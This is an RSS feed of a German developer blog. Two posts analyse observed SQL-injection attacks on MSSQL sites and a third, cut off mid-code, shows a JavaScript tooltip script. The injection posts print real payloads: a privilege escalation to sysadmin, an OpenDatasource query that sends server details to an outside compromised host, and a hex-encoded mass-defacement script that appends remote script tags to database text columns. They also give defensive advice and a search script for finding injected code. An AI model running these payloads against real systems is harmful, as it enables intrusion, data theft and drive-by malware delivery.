<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>knoxmic // Ronny Engelmann</title>
	<atom:link href="http://knoxmic.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://knoxmic.net</link>
	<description>Just another WordPress weblog</description>
	<pubDate>Fri, 08 May 2009 12:22:53 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>SQL-Injection, &#8216; OR 1=1 ist für Anfänger!</title>
		<link>http://knoxmic.net/sql-injection-or-11-ist-fur-anfanger/</link>
		<comments>http://knoxmic.net/sql-injection-or-11-ist-fur-anfanger/#comments</comments>
		<pubDate>Fri, 08 May 2009 12:22:37 +0000</pubDate>
		<dc:creator>Ronny Engelmann</dc:creator>
		
		<category><![CDATA[programmers-corner]]></category>

		<guid isPermaLink="false">http://knoxmic.net/?p=37</guid>
		<description><![CDATA[Neben dem im letzten Post erwähnten SQL-Befehl, der dafür zuständig ist den Inhalt aller Textfelder in einer Datenbank um bestimmten JavaScript-Code zu erweitern, konnte ich weitere interessante Vorgehensweisen beobachten:



&#8216;;declare @moo varchar(50); set @moo = (select SYSTEM_USER);exec master.dbo.sp_addsrvrolemember @moo, &#8217;sysadmin&#8217;&#8211;




Damit wird versucht den aktuellen Nutzer der Rolle &#8220;sysadmin&#8221; hinzuzufügen, damit soll wahrscheinlich die Grundlage für weitere [...]]]></description>
			<content:encoded><![CDATA[<p>Neben dem im letzten Post erwähnten SQL-Befehl, der dafür zuständig ist den Inhalt aller Textfelder in einer Datenbank um bestimmten JavaScript-Code zu erweitern, konnte ich weitere interessante Vorgehensweisen beobachten:</p>
<div class="html4strict" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1">&#8216;;declare @moo varchar(50); set @moo = (select SYSTEM_USER);exec master.dbo.sp_addsrvrolemember @moo, &#8217;sysadmin&#8217;&#8211;</div>
</li>
</ol>
</div>
<p>
Damit wird versucht den aktuellen Nutzer der Rolle &#8220;sysadmin&#8221; hinzuzufügen, damit soll wahrscheinlich die Grundlage für weitere Befehle geschaffen werden. </p>
<p>Die nachfolgende SQL-Injection ist aber mit Abstand die interessanteste. Hier wird eine Verbindung zu einem kompromitieren SQL-Server aufgebaut, dieser Server ist noch online und hostet den Online-Shop (6cang.com). Das Passwort habe ich hier verschleiert. Die Tabelle _t_basicinfo gehört auch nicht zum Standardrepertoire der master Tabelle vom MSSQL-Server. Das könnte man als sogenanntes Silent-SQL-Injection prägen, immerhin merkt der angegriffene erstmal nichts von der Attacke. Die Angreifer sammeln automatisiert (<a href="http://sqlmap.sourceforge.net/">sqlmap</a>) potenzielle Opfer und widmen sich diesen dann ausgiebiger. Sehr clever. Blöd natürlich das das Passwort in der Attacke auftaucht, verbreitet sich dieser Befehl im Internet, könnte der Admin leicht ins schwitzen geraten. Meine Kontaktversuche mit 6cang.com waren nicht erfolgreich.</p>
<div class="html4strict" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1">;dEcLaRe @s vArChAr(8000) sEt @s=0&#215;20496&#8230;.d2d eXeC(@s) &#8212; </div>
</li>
</ol>
</div>
<p></p>
<div class="sql" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">INSERT</span> <span class="kw1">INTO</span> OpenDatasource<span class="br0">&#40;</span><span class="st0">&#8217;sqloledb&#8217;</span><span class="sy0">,</span><span class="st0">&#8216;Data Source=222.35.142.45,1433;Network Library=DBMSSOCN;Initial Catalog=master;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">User ID=sa;Password=XXXXXXXXX;&#8217;</span><span class="br0">&#41;</span><span class="sy0">.</span>master<span class="sy0">.</span>dbo<span class="sy0">.</span>_t_basicinfo </div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">SELECT</span> dB_nAME<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">,</span>uSER<span class="sy0">,</span>@@vERSION<span class="sy0">,</span>@@sERVERnAME<span class="sy0">,</span>@@sERVICEnAME<span class="sy0">,</span>sYSTEM_uSER<span class="sy0">,</span>gETDATE<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="co1">&#8211;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
</ol>
</div>
]]></content:encoded>
			<wfw:commentRss>http://knoxmic.net/sql-injection-or-11-ist-fur-anfanger/feed/</wfw:commentRss>
		</item>
		<item>
		<title>SQL-Injection, der Spass beginnt!</title>
		<link>http://knoxmic.net/sql-injection-der-spass-beginnt/</link>
		<comments>http://knoxmic.net/sql-injection-der-spass-beginnt/#comments</comments>
		<pubDate>Wed, 28 May 2008 11:34:23 +0000</pubDate>
		<dc:creator>Ronny Engelmann</dc:creator>
		
		<category><![CDATA[programmers-corner]]></category>

		<category><![CDATA[mssql]]></category>

		<category><![CDATA[sql-injection]]></category>

		<guid isPermaLink="false">http://knoxmic.net/?p=32</guid>
		<description><![CDATA[Kann der Web-Entwickler abends ruhig einschlafen, oder gehen ihm diese oder ähnliche Zeilen durch den Kopf?
&#160;



sql = &#34;SELECT * FROM ShopWarenkorb WHERE id = &#8216;&#34;&#38; Request.QueryString&#40;&#34;id&#34;&#41; &#38;&#34;&#8217;&#34;



&#160;
Derzeit werden sehr viele Webseiten auf Sicherheitslücken durch SQL-Injection abgegrasst. Wer davon noch nichts gehört hat sollte Heise Security endlich in seinen RSS-Reader aufnehmen. Hier ein paar Artikel die [...]]]></description>
			<content:encoded><![CDATA[<p>Kann der Web-Entwickler abends ruhig einschlafen, oder gehen ihm diese oder ähnliche Zeilen durch den Kopf?</p>
<p>&nbsp;</p>
<div class="asp" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ul>
<li class="li1">
<div class="de1">sql = <span class="st0">&quot;SELECT * FROM ShopWarenkorb WHERE id = &#8216;&quot;</span>&amp; <span class="kw1">Request</span>.<span class="kw3">QueryString</span><span class="br0">&#40;</span><span class="st0">&quot;id&quot;</span><span class="br0">&#41;</span> &amp;<span class="st0">&quot;&#8217;&quot;</span></div>
</li>
</ul>
</div>
<p>&nbsp;</p>
<p>Derzeit werden sehr viele Webseiten auf Sicherheitslücken durch SQL-Injection abgegrasst. Wer davon noch nichts gehört hat sollte <a href="http://www.heise.de/security/news/news-atom.xml">Heise Security</a> endlich in seinen <a href="http://google.com/reader">RSS-Reader</a> aufnehmen. Hier ein paar Artikel die das Problem verdeutlichen:</p>
<p>&nbsp;</p>
<ul style="list-style:none;">
<li><a href="http://www.heise.de/newsticker/meldung/108107/">Massenhack von chinesischen Webseiten</a></li>
<li><a href="http://www.heise.de/newsticker/meldung/107786/">Erneuter Massenhack von Webseiten</a></li>
</ul>
<p>&nbsp;</p>
<p>Aber wie funktioniert das? Wie kommt schädliches Javascript in die Datenbank? Ganz einfach, mittels SQL-Injection wird der SQL-Befehl der Anwendung abgeschlossen und der Angreifer fügt seinen eigenen SQL-Code hinzu. Das kann dann so aussehen:</p>
<p>&nbsp;</p>
<div class="html4strict" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ul>
<li class="li1">
<div class="de1">http://www.xyz.com/?id=1&#8242;;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=<br />CAST(0&#215;4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E0077006F00770067006D0031002E0063006E002F006D002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200<br />%20AS%20NVARCHAR(4000));EXEC(@S);&#8211;</div>
</li>
</ul>
</div>
<p>&nbsp;</p>
<p>In dem ersten Wert des CAST befindet sich der SQL-Befehl als Hexwert. Mittels SQL läßt sich ein String leicht in Binärwerte konvertieren, es gibt ja den Datentyp BINARY ;)</p>
<p>&nbsp;</p>
<div class="sql" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ul>
<li class="li1">
<div class="de1">DECLARE @nvarchar NVARCHAR<span class="br0">&#40;</span><span class="nu0">4000</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SET</span> @nvarchar <span class="sy0">=</span> <span class="st0">&#8216;SELECT&#8217;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">DECLARE @<span class="kw1">BINARY</span> <span class="kw1">BINARY</span><span class="br0">&#40;</span><span class="nu0">12</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SET</span> @<span class="kw1">BINARY</span> <span class="sy0">=</span> CAST<span class="br0">&#40;</span>@nvarchar <span class="kw1">AS</span> <span class="kw1">BINARY</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SELECT</span> @<span class="kw1">BINARY</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SELECT</span> CAST<span class="br0">&#40;</span>@<span class="kw1">BINARY</span> <span class="kw1">AS</span> NVARCHAR<span class="br0">&#40;</span><span class="nu0">4000</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ul>
</div>
<p>&nbsp;</p>
<p>Konvertiert man den SQL-Code von oben wieder in NVARCHAR erhält man folgendes SQL:</p>
<p>&nbsp;</p>
<div class="sql" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ul>
<li class="li1">
<div class="de1">DECLARE @T varchar<span class="br0">&#40;</span><span class="nu0">255</span><span class="br0">&#41;</span>, @C varchar<span class="br0">&#40;</span><span class="nu0">255</span><span class="br0">&#41;</span> &nbsp; </div>
</li>
<li class="li1">
<div class="de1">DECLARE Table_Cursor </div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">CURSOR <span class="kw1">FOR</span> </div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SELECT</span> a.name,b.name </div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">FROM</span> sysobjects a,syscolumns b </div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">WHERE</span> </div>
</li>
<li class="li1">
<div class="de1">a.id<span class="sy0">=</span>b.id </div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">AND</span> a.xtype<span class="sy0">=</span><span class="st0">&#8216;u&#8217;</span> </div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">AND</span> <span class="br0">&#40;</span>b.xtype<span class="sy0">=</span><span class="nu0">99</span> <span class="kw1">OR</span> b.xtype<span class="sy0">=</span><span class="nu0">35</span> <span class="kw1">OR</span> b.xtype<span class="sy0">=</span><span class="nu0">231</span> <span class="kw1">OR</span> b.xtype<span class="sy0">=</span><span class="nu0">167</span><span class="br0">&#41;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">OPEN Table_Cursor </div>
</li>
<li class="li1">
<div class="de1">FETCH NEXT <span class="kw1">FROM</span> &nbsp;Table_Cursor </div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">INTO</span> @T,@C </div>
</li>
<li class="li1">
<div class="de1">WHILE<span class="br0">&#40;</span>@@FETCH_STATUS<span class="sy0">=</span><span class="nu0">0</span><span class="br0">&#41;</span> </div>
</li>
<li class="li1">
<div class="de1">BEGIN </div>
</li>
<li class="li1">
<div class="de1">exec<span class="br0">&#40;</span><span class="st0">&#8216;update ['</span>+@T+<span class="st0">'] set ['</span>+@C+<span class="st0">']=rtrim(convert(varchar,['</span>+@C+<span class="st0">']))+&#8217;</span><span class="st0">&#8216;&lt;script src=http://xyz/xyz.js&gt;&lt;/script&gt;&#8217;</span><span class="st0">&#8221;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">FETCH NEXT <span class="kw1">FROM</span> &nbsp;Table_Cursor <span class="kw1">INTO</span> @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor</div>
</li>
</ul>
</div>
<p>&nbsp;</p>
<p>Dieses SQL macht nichts weiter als alle Tabellen (Nutzertabellen) der Datenbank ermitteln und in die Textspalten jeweils am Ende von Rechts den angegebenen String einfügen. Die Web-Anwendung nimmt die Inhalte aus der Datenbank und gibt diese auf einer Seite aus. Somit wird, Voraussetzung ist natürlich der angegebene Server ist noch online, das eingebundene Javascript ausgeführt. Der Code in dem eingebundenen Javascript versucht dann vermutlich per Buffer Overflow in verschiedenen Plugins der Browser eigenen Code auszuführen um damit gefährliche Programme nachzuladen / zu installieren (Trojaner etc.).</p>
<p>&nbsp;</p>
<p>Was man dagegen tun kann ist eigentlich ganz einfach. Alle Eingabewerte der Nutzer richtig prüfen und sämtliche SQL-Befehle parametrisiert an die Datenbank geben. Bitte nicht in einer Stored Procedure wiederum mit dem Parameter einen SQL-Befehl zusammenbauen und anschließend per EXEC ausführen ;)</p>
<p>&nbsp;</p>
<p>Mithilfe dieser <a href="/scripts/malicious-code-search.sql">SQL-Befehle</a> läßt sich die Datenbank nach womöglich schädlichen Code durchsuchen:</p>
<p>&nbsp;</p>
<div class="sql" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ul>
<li class="li1">
<div class="de1">DECLARE @searchValue varchar<span class="br0">&#40;</span><span class="nu0">255</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SET</span> @searchValue <span class="sy0">=</span> <span class="st0">&#8217;script&#8217;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SET</span> NOCOUNT <span class="kw1">ON</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">DECLARE @TempTable <span class="kw1">TABLE</span> <span class="br0">&#40;</span>table_name varchar<span class="br0">&#40;</span><span class="nu0">255</span><span class="br0">&#41;</span>,column_name varchar<span class="br0">&#40;</span><span class="nu0">255</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">CREATE</span> <span class="kw1">TABLE</span> <span class="co2">#TempTableContent (table_name varchar(255),column_name varchar(255), value text)</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">INSERT</span> <span class="kw1">INTO</span> @TempTable</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SELECT</span> ic.table_schema + <span class="st0">&#8216;.&#8217;</span> + dbo.sysobjects.name <span class="kw1">AS</span> Tabellenname, dbo.syscolumns.name <span class="kw1">AS</span> Spaltenname</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">FROM</span> dbo.syscolumns </div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">INNER</span> <span class="kw1">JOIN</span> dbo.sysobjects <span class="kw1">ON</span> dbo.syscolumns.id <span class="sy0">=</span> dbo.sysobjects.id</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">INNER</span> <span class="kw1">JOIN</span> dbo.systypes <span class="kw1">ON</span> dbo.syscolumns.xtype <span class="sy0">=</span> dbo.systypes.xtype</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">INNER</span> <span class="kw1">JOIN</span> information_schema.<span class="kw1">COLUMNS</span> ic <span class="kw1">ON</span> ic.table_name <span class="sy0">=</span> dbo.sysobjects.name <span class="kw1">AND</span> ic.column_name <span class="sy0">=</span> dbo.syscolumns.name</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">WHERE</span> <span class="br0">&#40;</span>dbo.sysobjects.xtype <span class="sy0">=</span> <span class="st0">&#8216;U&#8217;</span><span class="br0">&#41;</span> <span class="kw1">AND</span> dbo.systypes.name <span class="kw1">IN</span> <span class="br0">&#40;</span><span class="st0">&#8216;varchar&#8217;</span>, <span class="st0">&#8216;nvarchar&#8217;</span>, <span class="st0">&#8216;text&#8217;</span>, <span class="st0">&#8216;char&#8217;</span>, <span class="st0">&#8216;ntext&#8217;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">DECLARE @SQLString varchar<span class="br0">&#40;</span><span class="nu0">500</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">DECLARE @table_name varchar<span class="br0">&#40;</span><span class="nu0">255</span><span class="br0">&#41;</span>, @column_name varchar<span class="br0">&#40;</span><span class="nu0">255</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">DECLARE <span class="kw1">DATA</span> CURSOR <span class="kw1">LOCAL</span> FAST_FORWARD <span class="kw1">FOR</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SELECT</span> table_name, column_name <span class="kw1">FROM</span> @TempTable</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">OPEN <span class="kw1">DATA</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">FETCH NEXT <span class="kw1">FROM</span> <span class="kw1">DATA</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">INTO</span> @table_name, @column_name</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">WHILE @@FETCH_STATUS <span class="sy0">=</span> <span class="nu0">0</span></div>
</li>
<li class="li1">
<div class="de1">BEGIN</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">SET</span> @SQLString <span class="sy0">=</span> N<span class="st0">&#8217;select &#8216;</span><span class="st0">&#8221;</span>+ @table_name +<span class="st0">&#8221;</span><span class="st0">&#8216; AS table_name, &#8216;</span><span class="st0">&#8221;</span> + @column_name +<span class="st0">&#8221;</span><span class="st0">&#8216; AS column_name, ['</span> + @column_name +<span class="st0">'] AS value &#8216;</span> + <span class="st0">&#8216; FROM &#8216;</span> + @table_name + <span class="st0">&#8216; where ['</span> + @column_name + <span class="st0">'] LIKE &#8216;</span><span class="st0">&#8216;%&#8217;</span>+@searchValue+<span class="st0">&#8216;%&#8217;</span><span class="st0">&#8221;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="co2">#TempTableContent</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; EXEC<span class="br0">&#40;</span>@SQLString<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; FETCH NEXT <span class="kw1">FROM</span> <span class="kw1">DATA</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">INTO</span> @table_name, @column_name</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">END</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SELECT</span> * <span class="kw1">FROM</span> <span class="co2">#TempTableContent</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">DROP</span> <span class="kw1">TABLE</span> <span class="co2">#TempTableContent</span></div>
</li>
</ul>
</div>
]]></content:encoded>
			<wfw:commentRss>http://knoxmic.net/sql-injection-der-spass-beginnt/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Tooltip with JavaScript</title>
		<link>http://knoxmic.net/tooltip-with-javascript/</link>
		<comments>http://knoxmic.net/tooltip-with-javascript/#comments</comments>
		<pubDate>Fri, 27 Oct 2006 16:20:24 +0000</pubDate>
		<dc:creator>Ronny Engelmann</dc:creator>
		
		<category><![CDATA[programmers-corner]]></category>

		<guid isPermaLink="false">http://knoxmic.net/tooltip-with-javascript/</guid>
		<description><![CDATA[Mit dem folgenden kleinen Skript lassen sich unterschiedliche Tooltips mittels JavaScript realisieren.
Die JavaScript-Funktionen zur Erzeugung der Tooltips werden über eine ausgelagerte JavaScript-Datei eingebunden.



// tt = tooltip


// global variables


var intOffset_X_Pointer = 20;


var intOffset_Y_Pointer = 20;


&#160;


// elements for tooltip


var aryToolTipElements = Array&#40;&#8216;a&#8217;,&#8217;span&#8217;&#41;;


&#160;


// browser?


var blnIE = document.all;


var blnNS = document.getElementById &#38;&#38; !document.all;


&#160;


// tt-container


document.write&#40;&#8216;&#60;div id=&#34;my_tt&#34;&#62;&#60;/div&#62;&#60;br /&#62;&#8217;&#41;;


&#160;


var show_tt = false;


var [...]]]></description>
			<content:encoded><![CDATA[<p>Mit dem folgenden kleinen Skript lassen sich unterschiedliche Tooltips mittels JavaScript realisieren.</p>
<p>Die JavaScript-Funktionen zur Erzeugung der Tooltips werden über eine ausgelagerte JavaScript-Datei eingebunden.</p>
<div class="javascript" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="co1">// tt = tooltip</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1">// global variables</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> intOffset_X_Pointer = <span class="nu0">20</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> intOffset_Y_Pointer = <span class="nu0">20</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">// elements for tooltip</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> aryToolTipElements = Array<span class="br0">&#40;</span><span class="st0">&#8216;a&#8217;</span>,<span class="st0">&#8217;span&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">// browser?</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> blnIE = document.<span class="me1">all</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> blnNS = document.<span class="me1">getElementById</span> &amp;&amp; !document.<span class="me1">all</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">// tt-container</span></div>
</li>
<li class="li1">
<div class="de1">document.<span class="kw1">write</span><span class="br0">&#40;</span><span class="st0">&#8216;&lt;div id=&quot;my_tt&quot;&gt;&lt;/div&gt;&lt;br /&gt;&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> show_tt = <span class="kw2">false</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> obj_tt = document.<span class="me1">getElementById</span><span class="br0">&#40;</span><span class="st0">&quot;my_tt&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">// get tt-elements</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> generateToolTips<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw2">var</span> x = <span class="nu0">0</span>; x != aryToolTipElements.<span class="me1">length</span>; x++<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw2">var</span> objElement = document.<span class="me1">getElementsByTagName</span><span class="br0">&#40;</span>aryToolTipElements<span class="br0">&#91;</span>x<span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>objElement<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw2">var</span> y = <span class="nu0">0</span>; y != objElement.<span class="me1">length</span>; y++<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>objElement<span class="br0">&#91;</span>y<span class="br0">&#93;</span>.<span class="me1">className</span> == <span class="st0">&quot;tt&quot;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; objElement<span class="br0">&#91;</span>y<span class="br0">&#93;</span>.<span class="me1">setAttribute</span><span class="br0">&#40;</span><span class="st0">&quot;tt_content&quot;</span>, objElement<span class="br0">&#91;</span>y<span class="br0">&#93;</span>.<span class="me1">title</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; objElement<span class="br0">&#91;</span>y<span class="br0">&#93;</span>.<span class="me1">removeAttribute</span><span class="br0">&#40;</span><span class="st0">&quot;title&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; objElement<span class="br0">&#91;</span>y<span class="br0">&#93;</span>.<span class="me1">onmouseover</span> = <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; enable_tt<span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">&quot;tt_content&quot;</span><span class="br0">&#41;</span>,<span class="kw2">true</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; objElement<span class="br0">&#91;</span>y<span class="br0">&#93;</span>.<span class="me1">onmouseout</span> = <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> hide_tt<span class="br0">&#40;</span><span class="kw2">false</span><span class="br0">&#41;</span>; <span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#125;</span></div>
</li>
